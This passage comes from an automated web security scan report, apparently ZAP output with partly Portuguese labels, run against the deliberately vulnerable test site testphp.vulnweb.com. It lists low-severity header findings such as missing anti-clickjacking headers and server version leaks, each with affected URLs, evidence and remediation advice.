Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=3
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=4
Método	GET
Ataque	
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/product.php?pic=5
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=6
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/signup.php
Método	GET
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX/showxml.php
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST

Ataque	
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	
Other Info	
Instances	46
Solution	Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app. If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.
Reference	https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
CWE Id	1021
WASC Id	15
Plugin Id	10020

Baixo	**O servidor vaza informações por meio dos campos de cabeçalho de resposta HTTP "X-Powered-By"**
Descrição	O servidor da web/aplicativo está vazando informações por meio de um ou mais cabeçalhos de resposta HTTP "X-Powered-By". O acesso a essas informações pode facilitar que os invasores identifiquem outras estruturas/componentes dos quais seu aplicativo da web depende e as vulnerabilidades às quais esses componentes podem estar sujeitos.
URL	http://testphp.vulnweb.com
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/artists.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	

URL	http://testphp.vulnweb.com/AJAX/categories.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=1
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=3
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=1
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=3
Método	GET

Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=4
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/titles.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/artists.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	

Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/categories.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=1
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=3
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/disclaimer.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/hpp/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other	

Info	
URL	http://testphp.vulnweb.com/hpp/?pp=12
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?aaaa%2F=Submit+Query
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/index.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=1
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=3
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=1

Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=3
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=4
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/login.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2/
Método	GET

Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-1.html
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-2.html
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1

Other Info	
URL	http://testphp.vulnweb.com/privacy.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=1
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=2
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=3
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=4
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=5
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=6
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	

URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file='%20+%20pict.item(0).firstChild.nodeValue%20+%20'
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg&size=160
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/2.jpg
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/2.jpg&size=160
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/3.jpg
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/3.jpg&size=160

Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/4.jpg
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/4.jpg&size=160
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/5.jpg
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/5.jpg&size=160
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg&size=160
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/7.jpg
Método	GET
Ataque	

Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/7.jpg&size=160
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/signup.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infotitle.php
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/AJAX/showxml.php
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1

Other Info	
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	
Evidence	X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Other Info	
Instances	79
Solution	Certifique-se de que seu servidor web, servidor de aplicativos, balanceador de carga, etc. esteja configurado para suprimir cabeçalhos "X-Powered-By".
Reference	https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework https://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
CWE Id	200
WASC Id	13
Plugin Id	10037

Baixo	**Server Leaks Version Information via "Server" HTTP Response Header Field**
Descrição	The web/application server is leaking version information via the "Server" HTTP response header. Access to such information may facilitate attackers identifying other vulnerabilities your web/application server is subject to.
URL	http://testphp.vulnweb.com
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	

URL	http://testphp.vulnweb.com/AJAX/artists.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/categories.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/index.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=1
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=2
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infoartist.php?id=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=1
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=2
Método	GET

Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infocateg.php?id=4
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/styles.css
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/titles.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/artists.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=1
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	

Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/categories.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=1
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=2
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/comment.php?aid=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/disclaimer.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other	

Info	
URL	http://testphp.vulnweb.com/favicon.ico
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Flash/add.swf
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/hpp/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/hpp/?pp=12
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?aaaa%2F=Submit+Query
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12

Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/images/logo.gif
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/images/remark.gif
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/index.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=1
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?artist=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=1
Método	GET

Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/listproducts.php?cat=4
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/login.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2/
Método	GET
Ataque	
Evidence	nginx/1.19.0

Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/1.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/2.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/3.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	

URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-1.html
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-2.html
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/privacy.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=1
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=2
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=3
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=4
Método	GET

Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=5
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=6
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/secured/style.css
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file='%20+%20pict.item(0).firstChild.nodeValue%20+%20'
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg
Método	GET
Ataque	

Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/2.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/2.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/3.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/3.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/4.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/4.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other	

Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/5.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/5.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/6.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/7.jpg
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/showimage.php?file=./pictures/7.jpg&size=160
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/signup.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml

Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/style.css
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/infotitle.php
Método	POST
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/AJAX/showxml.php
Método	POST
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST

Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	nginx/1.19.0
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	
Evidence	nginx/1.19.0
Other Info	
Instances	92
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress the "Server" header or provide generic details.
Reference	https://httpd.apache.org/docs/current/mod/core.html#servertokens https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff648552(v=pandp.10) https://www.troyhunt.com/shhh-dont-let-your-response-headers/
CWE Id	200
WASC Id	13
Plugin Id	10036

Baixo	**X-Content-Type-Options Header Missing**
Descrição	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
